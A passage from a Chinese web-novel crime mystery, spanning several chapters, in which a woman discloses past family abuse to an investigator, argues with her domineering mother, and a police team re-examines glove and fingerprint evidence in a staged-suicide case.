曾晖已经炒好三个菜,还剩下酸菜鱼。 “放上葱花,淋热油就好了。” 张越凝不会做饭,她在旁边看着,“中介昨天联系我,业主去新加坡出差了,要半个月之后才回来。” “交了定金的,不会有事吧?” 张越凝:“应该没事,正规的地产经纪。” 菜端出去,准备吃饭。 “要不要喝点酒?” 张越凝看了眼桌上的菜,小炒牛肉、酸菜鱼、清炒芦笋、鸡蛋羹,都不是适合喝酒的菜。 她稍微带了点娇嗔的语气摇头:“不喝,我开车来的。” “喝一点,晚上别走了。”曾晖邀请过多次,想让她留下来,每次都未能如愿。 眼看踏入婚期,若她还拒绝,就有点说不过去了。 张越凝微笑着答应:“不喝酒。我晚上留下来。” 曾晖压抑着内心的欣喜,笑道:“我买了DVD,柏林获奖的那部片子,等会儿一起看。” “《四时三日》吗?” “对啊,上次听你说想看,特意让朋友从国外买回来的。” 张越凝笑着给曾晖夹了块牛肉,“有你真好。” 曾晖伸手摸了摸她的耳朵,“希望你每天都能这么开心。” 这句话不知怎么就触到了张越凝的神经,她忽然红了眼眶,喉咙酸涩地半天说不上话来。 “怎么了?”曾晖发现她不对劲,赶紧给她抽了一张纸。 他知道她在家里跟母亲关系很差,不由担心道:“跟你妈妈闹矛盾了?还是说买房的事,你妈妈知道了不同意?那就不买了,我们家可以自己买房,就是位置没那么好,户型没那么大,‘斯是陋室,惟吾德馨’,小房子也有小房子的好处。打扫卫生还能省点力气。” 见曾晖为了安慰她说了一大车的话,张越凝破涕为笑,“没跟我妈吵架。是我表弟的事,我之前跟你说过的,警方那边可能要重启调查。” 曾晖诧异:“凶手不是已经被执行死刑了吗?” “好像是错判了。具体还不太清楚。” “你跟表弟感情很好?” “我们两个同年,我比他大三个月,我们一起长大,从小都是他保护我,那时候家里给他找了国际学校,他不去,偏要跟着我在百步中学读高中,他出事之后,我一直很内疚,我总觉得是我害死了他。如果当初他不跟我到百步中学读书就好了。” “这跟你有什么关系?”曾晖安慰她,“那是凶手残忍不做人,跟你没半点关系。你不应该自责。” “我知道。” 两人边吃边聊,曾晖换了个开心点的话题,他最近工作顺利,他上司升迁后,公司很可能会把他提上来。 吃完饭,两人一起洗碗,之后曾晖把DVD片子拿出来,他还是准备了葡萄酒,准备边品尝红酒,边看电影。 电影刚开始播片头,张越凝的手机震动。 是她老妈打来的电话。 “喂,妈。” 听见张越凝讲电话,曾晖赶紧拿起遥控器按了暂停。 是张芷琼一惯强势的口吻:“在哪儿?” 张越凝:“我还在外面。” “赶紧回来,我有事跟你说。” “什么事?” “你先回来,我在家等你。给你半小时。”张芷琼不容分说,直接挂了电话。 张越凝愣了几秒才挂断电话。 曾晖问:“你妈妈找你?” “她让我立刻回家。”张越凝揉着额头,满脸的恼火。 曾晖知道她母亲很强势,但她家毕竟特殊,他不想还没结婚就得罪未来丈母娘。 他哄她:“乖乖回去,别让你妈妈生气,我们来日方长。” “她从来没想过尊重我!”张越凝坐了会儿,才起身去拿包。 曾晖要送她回去。 她边穿鞋边说:“不用送我,免得我妈看见了。我回去给你微信。” 曾晖只好送她去坐电梯。 进去按下负一楼的按钮,电梯门快关上的时候,她又按下“一楼大堂”的按键,并在一楼走出了电梯。 从大堂转到侧门,走出大厦,绕过柱子,她就看见了那辆吉普车。 她能理解吉普车为什么会停在这里,因为这个位置刚好可以盯紧地下停车库的出口。 放轻脚步往前走,可以隐隐约约看见司机位置上有人在玩Switch。 快走到吉普车窗前时,正在打游戏的陆从景忽然机警地抬眼,她已经在眼前。 揺下窗户,张越凝发现他不止打游戏,还在听歌。 凤凰传奇的《策马奔腾》。 品味挺接地气。 他还没说x话,张越凝先笑着打招呼:“陆顾问你怎么在这里?” 陆从景尴尬了,他撒了个谎:“我刚在附近吃完饭,想打游戏,就停这里了。张小姐住这附近?” “我男朋友住乐豪大厦。” “好巧。” 张越凝笑了笑,似乎没有要离开的意思,她抿了抿唇:“我有件事想跟你聊一聊,方便吗?” 陆从景略微一滞,“方便。” 第15章第15章陆从景收起游戏机,随手把音…… 陆从景收起游戏机,随手把音乐声关小了。 而张越凝坐上了副驾驶位。 上次见面有木棉在,今天就他们两个,而且空间狭小。 像花生壳里的两粒花生,规规矩矩排排坐,互相之间似乎永远都触碰不到,但同享同一片呼吸。 不熟但又不得不坐在一起聊天的尴尬。 短暂的尴尬后,张越凝也没绕圈子,坦诚道:“今天下午,戚振勋来找我了。” “他来找过你?”陆从景假装诧异,“找你做什么?” “他想调回市区,找我帮忙。” 陆从景没懂,“他只是找你帮忙?” “好听点是找我帮忙,不好听的话……”她略微一顿,苦笑道:“是要挟。” 恋爱脑戚振勋要挟曾经的爱人? 陆从景更好奇了,他嘴角上扬,问:“戚振勋拿什么要挟你呢?” 张越凝瞥他一眼,“你好像很高兴?” 陆从景不好承认,“不至于。我是……好人。” 看着眼前的好人陆从景,张越凝似乎下了很大的决心,“你能帮我保守秘密吗?” 她特意来跟他说她的秘密? 陆从景如实道:“我虽然不是警察,但我不保证不将你说的话记录下来。张小姐,说之前,建议你考虑清楚。” 既然她已经选择上他的车,只要他的态度不是太过分,她大概率都会选择说下去。 他是懂心理学的! 张越凝靠在椅背上,缓了缓,才道:“张皓钧比我小三个月,我们一起长大。他打小就知道,我是抱养的。” 她看着窗外,眼神晦涩不明。 “小的时候,他欺负我。长大一点,他又说喜欢我,从初三开始他便对我纠缠不清。我们住隔壁屋,他翻个阳台就能来我房间,我连躲都没地方躲,只要我反抗,他就打我,我一身都是暗伤。升高中的时候,家里安排我们两个去国际学校读书,我不愿意……” 她微微拉起左手衣袖,只见手腕上有一道浅浅的浮起的刀痕。 “我只能以死相逼,在医院警察来调查,我妈为了平息事件,才答应给我安排到百步中学住校。谁想到,我才过了一个学期的平静生活,还是被张皓钧给打破了。他在高一下学期,也跟着来了百步中学。家里每天都有司机接送我们上学放学,我住校的心愿也成了泡影。” 他就像个魔鬼,追在张越凝身后,阴魂不散。 后来,戚振勋给他们补习数学,戚振勋喜欢张越凝,对她特别照顾,张皓钧察觉后很生气。 那天晚上,他翻阳台进了她房间,张越凝窝在被子里没理他。 张皓钧伸手抚摸着她的头发,企图让她屈服。 “只要你乖乖的,不再反抗,你在外面的事,我可以不管。” 张越凝的脾气看着温和,其实特别犟。 “离我远点。”她斜眼瞪向张皓钧,眼神除了厌恶再无其他。 面对张越凝毫不掩饰的憎恶厌烦,张皓钧无能狂怒地扑过来。 张越凝极力反抗,指甲盖被掀翻了,她也不屈服。 从初三开始打到高二,他们的力量越来越悬殊,最终,他还是把她撕碎了。 痛,通过骨头传到全身。 这不是最痛的。 更痛的是,家里没有一个她可以求救的人。 一个都没有,包括她母亲。 陆从景指甲扣着方向盘,半天没说话。 他没想到看起来温和阳光的张越凝曾经在不为人知的黑暗地狱里爬行。 “你没想过报警吗?” “那个环境,我怎么报警呢?张皓钧在家人面前非常乖巧、听话有礼貌,我妈我爷爷就算有怀疑,也未必愿意相信我。说不定我妈还会抱怨是我不知廉耻故意勾引他。我只是希望马上高考可以离开这个鬼地方。”张越凝苦笑道:“我是不是很没用?” 陆从景咽了咽喉咙,他也不懂得安慰人,好一会儿才说:“这不怪你,你是受害者。而且那时候你还小。” “十六岁,也不小了。我只是权衡利弊后,没有足够的勇气……我也只是个胆小的可怜虫。” 高二的时候,她真就跟戚振勋谈起了恋爱。 陆从景不甚理解,“你真喜欢戚振勋?” 张越凝咬了咬唇:“跟喜不喜欢没关系,就是想找个温暖的地方,有温度的人。戚老师有才华,有同理心,能给我点人间真情,只不过,他也很……怯懦。” 陆从景不以为然,“真怯懦他就不会要挟你。” 你不过是所托非人! 这是他没说出口的话。 “下午戚振勋找你,是用什么作为借口来要挟你帮忙?” “张皓钧被杀那天,他中午就约戚振勋见了一面,他想逼戚振勋承认跟我在谈师生恋,而且是我主动勾引他的。如果戚振勋答应合作,张皓钧会给他一笔钱。戚振勋不知道张皓钧欺负我的事,他以为张皓钧是为了遗产,是为了在爷爷面前污蔑我。其实当时爷爷已经立了遗嘱,大部分遗产都由张皓钧继承。张皓钧不是为了遗产,他只是为了抓住我的把柄,好挟制我乖乖听他的话。” 她轻轻揉着手臂,“戚振勋没答应他的要求,但张皓钧死缠着不放,约他下午放学后再聊一次。很巧,那天傍晚张皓钧被人杀了。就像……就像老天赏赐给我的礼物。” 当张家人撕心裂肺痛苦不堪的时候,张越凝一个人躲在房间里,享受着前所未有的自由。 陆从景看着她,昏暗光线下,她冷白的侧脸没有太多血色,看得出来,她不需要任何廉价的同情。 此刻,他只是个倾听者,不是评判家。 但仔细一琢磨,她说出这些真相,反倒会把她自己进一步拽入被怀疑的深渊。 她为什么要告诉自己这些呢? 这是陆从景不理解的。 张越凝继续说:“前几天你们去找戚振勋,他听你说我和我妈妈可能是嫌疑犯,他怕说实话,你们会真怀疑我,所以他对你们隐瞒了张皓钧找他的真相。” 陆从景:“戚振勋拿这个要挟你,为了换取一份工作?” “他也是没办法。当年我妈把我们师生恋的事捅到教育局,要不是我哭着在我妈面前下跪认错,他连县城的工作都不会有。” “所以,你答应他了?” “没答应,也没完全拒绝。也可能会心软帮他想想办法。”张越凝看着旁边公园树上一闪一闪的蓝色灯光,发了会儿呆。 手机屏幕亮起,她滑开来看,曾晖问她到家了吗? 她没回复。 “跟你说出来,我心里舒服多了。” 陆从景问:“张皓钧被杀那天,你有没有跟他见面?” 张越凝侧目看了他一眼,“我得知张皓钧中午去找过戚振勋,下午第一节课的课间,我找他吵了一架。放学后,我妈给我打电话,她说她在附近刚好可以接我回家,我就先回家了。” “你母亲当时在百步中学附近?” “她在百步中学旁边的建设银行办事。” 陆从景:“既然如此,张皓钧的死,对你来说,其实是解脱。你为什么还要为了他大义灭亲,主动举报你母亲呢?” 张越凝微微垂眸:“我上次……说谎了。我不是为了张皓钧选择大义灭亲。” 人都是自私的,都要为自己打算。 她说:“我是希望,每个人都应该去自己该去的地方。” 如果张芷琼犯罪了,那她就应该去坐牢,去她该去的监狱。 张越凝:“我大学毕业后想留在省城,我不想回来,工作都找好了,但被我妈一个电话就搅和了所有。不瞒你说,只要我妈还在我周围飘荡,我想要好好工作,好好生活,那都是奢想。” 陆从景听懂了,她想借此彻底摆脱张芷琼的控制。 手机震动,是张芷琼打来的,张越凝没理会,车里还在唱着凤凰传奇的歌,虽然声音不大,但昂扬的生命力,充斥耳膜。 她说完了。 “我没跟其他人说过我这些遭遇,你能替我保密吧?” 陆从景别无选择,他点了点头:“保密。” “谢谢。歌很好听。”张越凝开门下了x车。 张越凝离开半晌,空气中还萦绕在她身上的香水味儿。 陆从景的心情久久不能平复。 事后他有反思,自己怎么被她牵着鼻子走了。 不远处,乐豪大厦侧门的柱子后面,曾晖看着张越凝下车后往地下车库走去。 张芷琼坐在一楼客厅的沙发上,冷脸翘着双手,盯着推门进来的张越凝。 “为什么不接电话?” “静音了,开车没听见。” 张芷琼指着桌上的文件,努力压抑着暴躁的情绪:“解释解释,你花钱买房为什么要写别人的名字?” 早有心理准备的张越凝平静地有些过分:“我花我自己攒的钱。” “你工资才多少?家里给你零花钱,不是给你这么花的!” “那就不要给。” 张芷琼被气到了,“五百万的房子你加曾晖的名字,给他一半产权,他二百五,你也二百五是吗?趁还没成交,赶紧取消合同。” 说着,张芷琼下意识警惕地扫了眼周围,佣人早被她打发出去了,此时屋里就母女俩。 “这个曾晖给你吃迷魂药了?是个男的,你就往上贴?!你真要打算跟他结婚啊?” 张越凝幽幽道:“你不给我户口本我也结不了婚。我谈恋爱你不是不管吗?” 张芷琼:“你偷偷谈恋爱我可以不管,但你现在都给人买房了,这跟花十万八万玩个男人是不一样的!你要搞清楚,张越凝!” 张越凝没有反驳,她今天有些累,不想吵架,而且吵了也没意义,浪费唇舌。 见张越凝不说话了,张芷琼才问:“你今晚去哪儿了?” “我去哪儿,沈青不都汇报给你听了吗?我的一举一动还瞒得了你?” 张芷琼瞬间被堵的哑口无言,她咬了咬牙,终究忍着没骂。 缓了缓,张芷琼才说:“你爷爷今晚吃饭的时候,跟彭秀说,想要过继赖嘉和做孙子。人家都抢到家里来了,你还在跟不知所谓的人,谈情说爱,风花雪月,真是可笑!” 正说着,有人推门进来。 是彭秀的儿子赵润嵩。 “又吵架?” “二舅。”张越凝打完招呼,把桌上的购房合同复印件收了起来。 母女俩究竟为什么吵架,赵润嵩也没有打破砂锅问到底。 他能在张家生存,而且还可以跟最难搞的张芷琼处好关系,很重要的一点就是,他识时务。 “刚老太太跟我说了老爷子的想法,老爷子这方面还是很守旧的。赖嘉和过继给过世的大哥做儿子,等于是继承了老张家的香火。如果真成了,鸿达集团的股份,赖家肯定要撕走很大一部分。” 这就是张芷琼的痛点。 比起固定资产和存款,张芷琼最在乎的就是鸿达集团的股份。 张芷琼翘起二郎腿,“老赖他们一家图谋已久,他们想来分一大杯羹,我绝对不可能答应。” 赵润嵩劝她:“你不要明着反对。这只会激化你们父女俩的矛盾,便宜外人。我妈的意思是,找人来给小赖和老爷子算算八字。在这上面做做文章。” 姜还是老的辣,彭秀的主意确实好。 张芷琼十年前吃过亏,她当然不会再去跟老爷子硬杠。 “算命先生可以找,但不能我们找,让陈延达去找。” 他们聊的话题张越凝没兴趣,她转身想上楼,又被张芷琼叫住。 “张越凝,你和张蕤帆两个,以后每天中午、晚上都要去跟爷爷吃饭,每顿饭,你们俩至少要有一个人在,别再让人钻了空子。” “知道了。”张越凝上了楼。 回到房间,她把黑豆抱在怀里逗了会儿,才想起给曾晖回微信。 【家里事多,乱糟糟的,我妈拿我撒气。】 曾晖直接给她打来视频。 聊了会儿,他才问:“你刚才在我家楼下遇见谁了?” 张越凝微微一滞,随即如实道:“警察,调查皓钧案子的。” 曾晖不解:“警察跟踪你?” “嗯,下午我就发现了,结果晚上我从你家下来,那车还在楼下。” 曾晖担忧道:“怎么会跟踪你呢?他们跟你聊了什么?” 张越凝不愿意多说:“有些事我要保密。” “那……”曾晖也不好勉强,“需要我的时候,你叫上我。” “好。周末我有事不能陪你爸妈吃饭了,你跟他们说一声。” “这没事,他们理解的。” “我有点累了,准备去洗澡睡觉,你早点休息。” 挂了视频,张越凝站在浴室里,看着镜中的自己发呆。 她能感觉到,周围有蔓生的枝节,在蓬勃生长。 而此时,陆从景回到家,站在书房软木墙前。 他盯着张越凝的照片看了许久。 最终,他把张越凝和最中央的张芷琼照片换了个位置。 谢谢各位小天使的订阅,本章留言有小红包掉落哈[狗头叼玫瑰],截止下章更新 第17章第17章戴丽华买了菜回来,上到三楼…… 戴丽华买了菜回来,上到三楼,听见隔壁传来吵架声。 贾伟东马月娥两口子又在吵架。 她掏出钥匙,开门进屋,看见曾立兴在和儿子下象棋。 “隔壁老贾又和马月娥吵架!天天吵,烦都烦死了。” 曾晖好奇:“东叔非法使用枪支案,没下文了?” 曾立兴:“拘留了几天放回来了。就是罚款,赔了我们五百块,都不用坐牢。” 把菜放厨房,戴丽华拿毛巾擦着汗,她出来看着儿子,问:“大周末的你跟越凝怎么不出去吃饭看电影?” 曾晖:“她表弟的案子要重启调查,昨天警察还跟踪她呢,她现在也烦。” 听说张越凝被警察跟踪,戴丽华不免担心问道:“她表弟什么案子?警察为什么要跟踪她?” 曾晖把张皓钧的案子大概说了一遍,“他们家对这事挺避讳的,你们可别去问她。” “知道。你妈没那么蠢。”戴丽华叹了一声,又问:“那房子的事呢?怎么没消息了?” “业主出国了,要晚半个月交易。” 戴丽华把对着父子俩吹的风扇拧成摇头:“老许死后,我在这里住着始终不舒服,我跟你爸商量过了,爸妈手里也有点钱,要不先去鼎盛花园买一套。以后跟女方家聊起来,也没那么寒碜。” 曾晖笑话她:“鼎盛花园就不寒碜了?” “总比这里好吧?” 曾晖建议:“这几年我也存了点钱,我们加一起,可以买东方华府的。” 东方华府档次起码高一些。 曾立兴起身去倒水喝,“不要东方华府的,那边是期房,明年都未必能入住。” 戴丽华:“鼎盛花园我上次跟你爸都有看好的房子了,装修好的次新房,可以马上入住,一百三十平方,总价42万,我和你爸的钱就够了。” 一家三口商量好,戴丽华对她男人说:“明天,你就把你卡里存的钱转给我。” 曾立兴:“明天下午去银行转。” 隔壁吵闹声越来越响了,戴丽华小声嘟囔:“不会打起来了吧?” 周天下午,陆从景来到刑侦大队办公室。 夏木棉昨天就把最新进展汇报给他。 关盛勇的DNA比对结果出来了,没匹配上。 他跟夏木橙腹中胎儿没有亲缘关系。 虽然没匹配上,但并不能就此排除关盛勇的嫌疑。 “昨天又审了一天,没有任何进展,关盛勇咬死了,他找许忠就只是为了试探许忠会不会是杀梁小宇的凶手。” 陆从景问:“现在我们手上最大的证据就是现场主卧门把手上有关盛勇的一枚指纹,是吗?” “对。” “把指纹资料找给我看看。” 夏木棉从电脑里把关盛勇的指纹找了出来。 是右手大拇指的指纹。 “怎么会是右手大拇指呢?” 木棉不懂:“为什么不能是右手大拇指?” 陆从景站在电脑前,“现场你去看过的,如果从大门往卧室方向走,右手是靠近卧室的,如果凶手要归还手机,那么手机肯定在他右边裤兜里,为了不在手机上留下指纹,他右手应该戴了手套。既然戴了手套,他就不可能在门把手上,留下右手大拇指的指纹。何况,当时卧室门是敞开的,不需要开门,凶手这么谨慎的人,不应该留下指纹才对。” 有道理,木棉想了想,道:“有没有可能是夜晚行凶时留下的。” 陆从景:“整个凶案现场,都没留下其他指纹,凶手肯定戴手套了,就算他晚上没戴手套,以许忠卧室门的方向,留下左手指纹才合理。而且,这个右手大拇指的指纹是向里的,不x像手握门把手的姿势,更像是人挤人把他挤到门边,关盛勇下意识伸手去撑开,不小心碰到门把手留下的。” 木棉点头:“那就跟关盛勇的证词一致,他也说自己是被人撞了一下,不小心碰到了门把手。难道不是关盛勇?我等会儿要把这个信息反馈给亮哥程姐他们吗? “你反馈吧。” 过了会儿,陆从景又回过头问木棉:“你知道张越凝和曾晖是从什么时候开始谈恋爱的吗?” 夏木棉听三婶说过:“去年,他们在一起有一年多了。” “怎么认识的?” “工作认识的吧。我哥是公司法务,凝姐是律师。师兄,你问这个干什么?” 跟陆从景之前调查到的信息一致:“我也就问问。” 田海亮和程栋梁从外面进来,他们对许忠密室杀人案的调查有一些新发现,刚好刘泰安不在,他们便找陆从景详聊。 程栋梁:“从许忠床下搜出来的白色劳保手套里面检出了许忠的皮屑组织,手套外面则检出了比较新鲜的鱼饵成分,因此我们推断,许忠近期有使用过这副劳保手套。我们在许忠家里找到了好几对同一个牌子的劳保手套,甚至还有没开封的,他为什么偏偏要去使用十年前作案时用过的手套?用完还跟其他作案凶器放一起,这说不通。除非他有某种强迫症,认为干大事就得戴这副手套。” 田海亮:“所以我们前天做了个大胆的假设,那就是许忠戴着这副手套,又做了什么大事。” 陆从景微微蹙眉:“然后呢?” “然后我们就展开调查,从劳保手套开始,你来看看。”程栋梁打开她办公桌电脑里的照片文件。 点开最新日期文件夹里的劳保手套图片。 “这个牌子叫飞鹰劳保手套,产地就在隔壁的梁州市,在我们市小卖部的劳保手套大部分都是这个牌子的,便宜又好用。我们调查之后发现,这款劳保手套是新款式。”程栋梁点开两张劳保手套进行对比。 她继续:“你看看,左边这张是2012年之前的老款,手腕处有两道红线。右边是2012年之后的新款,手腕处是三条红线。而帆布袋里发现的手套是三条红线的,也就是生产于2012年以后,也就这两年生产的。” 但张皓钧案发生在2004年。 陆从景盯着电脑屏幕:“所以这双不是凶手在张皓钧案中使用的手套!” 程栋梁:“对。那为什么许忠要把完全不相干的新手套放到杀张皓钧的工具袋里呢?” 田海亮大胆推测:“我就想,这个帆布袋会不会是专门的凶器工具袋?不止是杀张皓钧案的凶器,许忠还戴着这双手套,去做了其他案子?” 陆从景仔细思索后,说:“或者有另外一种可能。” “哪种可能?” “我想先看看许忠上次被请回来盘问时的视频。” 他们马上调阅许忠被询问时的录像。 只见画面里,小耿在盘问许忠。 【小耿:“卢照麟让你帮他在天水坝看鱼塘期间,你是白天还是晚上在值班室值班?” 许忠:“那段时间鱼塘刚捞完鱼,不需要看管,卢照麟只是告诉我钥匙就放门口石头下面,万一遇到老板有事要处理,我就过去看看。” 小耿:“那几天你都没去天水坝?” 许忠:“帮忙找梁小宇和夏木橙的时候去过,但是当时值班室的门锁被鱼塘老板换了,我没进值班室,就在天水坝周围找了一圈。” 小耿:“为什么鱼塘老板要换锁?” 许忠:“这我不晓得,我后来跟卢照麟提起这事,卢照麟说老板没换门锁,还是之前那把锁。也不知道怎么回事。”】 询问全过程,许忠非常放松地坐在椅子上跟小耿聊天。 “许忠被询问时的状态很松弛,全程聊天都戴着笑意,完全没有被调查的拘谨和担忧。” 程栋梁反应过来,“许忠从水东村野塘钓鱼回来,在小卖部,也是非常轻松,跟谁都有说有笑。” 小耿从外面进来,站在一旁听他们讨论。 陆从景:“一种可能,许忠是心理素质非常强的职业杀手。” 程栋梁和田海亮齐齐摇头,“不像。” 陆从景断定:“那就是另外一种可能,许忠是无辜的,他不知情,只是被人栽赃了。” 田海亮和程栋梁互相看了一眼,这倒是个新方向! 田海亮马上发散思维:“杀害许忠的凶手,为了帆布袋里有许忠的生物信息,特意在许家翻找出一双许忠使用过的劳保手套放进帆布袋里,那逻辑就完全说得通了。” 如果许忠是无辜的,为什么凶手要陷害他呢? 陆从景:“因为之前我们在调查许忠,凶手知道后,制造了一个许忠‘畏罪自杀’的假象,这是纯嫁祸!” 小耿忽然有点头皮发麻,“卧槽!我们还不能随便怀疑人了?!” 田海亮拍了下他的胳膊:“正常工作,不要自戴脚镣!” 一直认真听他们分析的木棉,此时插话道:“如果许忠是被嫁祸的,那劳保手套是什么时候放进他床底木箱的呢?” 程栋梁:“按照曾立兴夫妇的口供,大概晚上十一点左右有拖拽木箱的声音,但这个点就算许忠已经睡了,肯定还没睡熟,凶手不可能那么大胆拖拽出声音。” 田海亮单手撑在办公椅背上:“许忠被杀当晚,凶手可能去了许家两次,第一次是晚上十点到十一点之间,许忠给他开的门。第二次应该是十二点以后,等许忠熟睡从厨房小窗户进去行凶。” 小耿赞同这个观点,他接过话题:“第一次去的时候,凶手可能找借口把许忠支出去,或者等许忠上厕所的时候,偷偷找了副许忠用过的劳工手套塞进木箱里……不对,应该是塞进帆布袋里,再塞到床底木箱。” 程栋梁思路比较清晰,她不赞同:“你的意思,凶手带着装了44码皮鞋和过期乙醚的帆布袋去许忠家?根据我们之前的推测,凶手是邻居,一个邻居大半夜挎个帆布袋去许家,不觉得奇怪吗?还有,他拖拽木箱的声音不小,隔壁都听见了,许忠会听不见吗?有点太过肆无忌惮了吧?” 确实不合理。 陆从景:“我那天和木棉去还原现场,我试着拖拽床底的木箱,用非常大的力气去拖,但发出的声音并不大,按照常理,隔壁是听不见的。” 那曾立兴夫妇听见的是什么声音? 程栋梁:“曾立兴和戴丽华的口供是,拖沙发或者箱子的声音。” “许忠家客厅的是实木沙发,拖拽沙发确实声音会比较大。” 众人陷入沉思。 小耿:“如果凶手是关盛勇,他深夜造访许忠家,他让许忠帮他找个东西,那东西就放在沙发底下,许忠费了一番功夫才找出来。就在许忠拖沙发的时候,关盛勇借口去厨房洗手,偷偷把厨房小窗户的旋转把手打开。也就是说,凶手第一次造访许家的目的是要找机会打开厨房小窗户内锁,而帆布袋是他第二次翻窗进来的时候带来的,等许忠熟睡,他偷偷摸到卧室,打开木箱,把帆布袋塞进去。这就合理了。” 田海亮:“这确实比较合理,而且也解决了凶手怎么确保厨房小窗户里面没上锁的问题。” 陆从景没说话。 木棉补充:“刚才师兄看了关盛勇的指纹,他认为关盛勇的指纹应该是消防破门后,关盛勇被人撞了一下,不小心碰到门把手上的。” 木棉则把陆从景的推理过程说了一遍。 期间,陆从景接了个电话先走了。 听完推理,小耿失望道:“不是关盛勇啊?” “也不能就这么排除关盛勇。只是说用指纹作为证据链中的一环来给他定罪,可能不行。”说这话的是程栋梁。 田海亮:“关盛勇还是首要怀疑对象,但当天来围观的邻居,全部再筛查一遍,从头梳理,从贾伟东开始。” 下午重新调查贾伟东的时候,果然发现了新证据。 经薛家村薛冬华一家看照片辨认,2004年9月35日,跟卢照麟去红猿山打猎的不是贾伟东,而是贾伟东的弟弟。 所以张皓钧被杀当天,贾伟东的不在场证据是作假的。 第85章第85章从车上下来,张越凝接过沈青…… 从车上下来,张越凝接过沈青递来的文件袋,随后和其他几位磐石律所的同事一起走进了骆宅。 汇海贸易的老板骆金水以前是混道上的,这十多年以来,已经洗白上岸,现如今也算是临城有点名x气的暴发户。 骆金水儿子骆安乔打架被刑拘的事在网上闹得很大,律师团队处理不当,被炒了。 本来有人推荐了另外的律师给骆金水,但他得知张鸿禺孙女有意接这个案子时,骆金水二话不说就把案子给了磐石律所。 他相信张鸿禺孙女所在的律所不会差,而且还可能通过这次合作,跟张鸿禺搭上关系,可谓一举两得。 初次见面,握手介绍后,骆金水关切问道:“我听说你爷爷贵体欠安,最近好些了吗?” “好多了,谢谢骆总关心。” “五年前我在市政府牵头组织的会议上跟你爷爷见过一次,我骆金水佩服的人不多,你爷爷算是一个,我认为,张老是我们临城最厉害的实业家!” 骆金水大概五十岁上下,长得像条眼镜蛇,头大,身材细条,看着就很精明。 绕了一大圈,他们才开始讲案子。 骆家这边跟律师团队对接的主要负责人是骆金水远房亲戚邹富贵。 聊完案子,邹富贵订了餐馆要请大家吃饭。 张越凝因为要回医院陪爷爷就没去,邹富贵送张越凝到门口坐车。 “张小姐下次一定要赏脸一起吃顿饭。” 邹富贵名字很土,但人挺时髦,锃亮的皮鞋,白色西装,茶色太阳镜,说话温声细语的,一看就是公关的一把好手。 张越凝笑道:“我今天是没办法,下次我们提前约。我听我二舅说,您跟他是老同学,下次可以叫上我二舅一起。” “你二舅赵润嵩是不是?!哎呀,我以为他不记得我这个穷同学了,这饭局一定要约起来!” 张越凝吩咐沈青:“记一下,找时间约二舅还有骆总一起吃饭。我是晚辈,我请客。” “太客气了张小姐。” “叫我越凝就行。”张越凝朝小轿车走去。 邹富贵一路屁颠屁颠小跑着亲自去给张越凝开车门,“越凝,那我们下次见。” “下次见。” 骆家在城乡结合处圈了一大块地修建的大宅,房舍建的很土豪。 等车开出骆宅,沈青忍不住吐槽:“真是暴发户。” 张越凝没有点评,她吩咐司机:“去医院。” 说完看了眼手表,十一点一刻,到医院刚好是吃饭时间。 到了仁和医院,外面客厅只有张鸿禺的副手贺成在。 贺成轻声跟她说:“在聊呢。” 跟张鸿禺一起创业的好友陈延达找了个算命先生来聊天,彭秀有意避开了。 张越凝也就没着急进去。 此时病房里,张鸿禺听算命先生排完八字,似懂非懂地问:“我跟这孩子的八字相合?” 算命的先生是个老头,人微胖,笑容堆满脸。 “相合的。您金多缺火,他火旺,这孩子旺您。非常适合过继。” 张鸿禺礼貌笑问:“有什么需要避忌的吗?” 算命先生:“没有需要避忌的。不过您如果想让他更加旺您,可以在城南给他建一栋大宅子,地皮也不需要多大,但地基要深,南方火旺,让他给你守住阳气。您这身体,说不定能好的更快。” 陈延达闻言,点头道:“你在城南不是有一块地皮吗?正好……” 那块地皮是商业用地,地皮面积可不小。 张鸿禺微微蹙眉:“但建房需要时间。” 算命先生:“地皮可以先过户给这个孩子,以他名字建地基,只要建好地基,也是算的。” 张鸿禺又问了些别的问题,聊到快十二点半,算命先生才离开。 在客厅吃零食的张越凝,见陈延达出来,笑着起身:“陈爷爷。” “越凝,来陪你爷爷?” “是啊。” “快进去吧,我们先走了。今天跟你爷爷聊的很开心。” “见到您,他当然开心。”张越凝在长辈面前素来嘴甜。 送走客人,张越凝才进病房。 从表情分析,张鸿禺似乎并没有很高兴。 成叔让保姆把饭菜在餐桌上摆好,张越凝和护工去扶张鸿禺下床。 “陈爷爷怎么突然带算命先生来叨扰,那个算命先生贼眉鼠眼的,看着像个骗子。” 张鸿禺被逗笑了,“确实像个骗子。” 扶爷爷在餐桌边坐好,张越凝道:“爷爷你要是想算命还不如网上直接算,不要钱也不坑人。” “网上怎么算?” “先吃饭。” 张越凝吃的快,她吃完就拿出平板电脑,给爷爷安装好软件。 “爷爷你要算谁的八字?我给你输进去。” 张鸿禺往床头柜一指:“床头柜上。” 张越凝走过去拿起本子,上面写着一行八字。 输入八字,她问:“男还是女?” “男的。” 算命软件很快算好了,张越凝递过去给她爷爷看:“是谁的八字啊,好像还可以。” “怎么写的?” “木强,火弱,缺金……事业运挺好,财运也不差,就是守不住财,晚景比较一般。爷爷你自己看吧。” 张鸿禺拿起放在桌旁的老花眼镜。 大概浏览了一遍,老爷子放下平板感叹了一声:“守不住财那真是要命。” 他继续喝汤:“你信这个吗?” 张越凝摇头:“我不信。” “为什么不信?” “我信科学,我信我自己。”张越凝把平板收起来,反问:“爷爷你信吗?” 张鸿禺这人自我意识非常强大:“对我有利的,我相信,对我不利的,我不信。” 张越凝笑着总结:“爷爷你这个跟‘顺我者昌逆我者亡’有异曲同工之妙。” 正聊着,张蕤帆进来了,“爷爷你才吃饭啊?” 张鸿禺瞥他一眼,问:“你吃了吗?” “我吃过了,给你们打包了王大娘豆花。我知道爷爷你馋这口很久了。”张蕤帆偷偷拿出两盒的豆腐脑。 张鸿禺高兴地笑容浮上脸,他轻声问:“放辣子了吗?” “放了。管够。” 张蕤帆很能哄张鸿禺开心,“趁奶奶还没来,爷爷你快吃。吃完我把垃圾带走,神不知鬼不觉。” “还是你有主意!快给我先吃上一口。”老爷子手都开始颤巍了。 张鸿禺近几年,脾气比以前好了很多。他也是个老狐狸,对谁都疼爱,都喜欢,不管是孙子孙女还是侄孙子,不管有血缘还是没血缘的,各个孩子都会认为,老爷子是疼爱自己的。 张越凝拿勺子舀了半碗,“半碗可以吗?” “多一点。” 终于吃上了心心念念的豆花,张鸿禺忽然感慨道:“这家味道最像我阿娘的手艺。你太奶奶的手艺好。” 张越凝也小口吃着,“确实好吃,豆香味很浓,酱也做得很醇厚。” 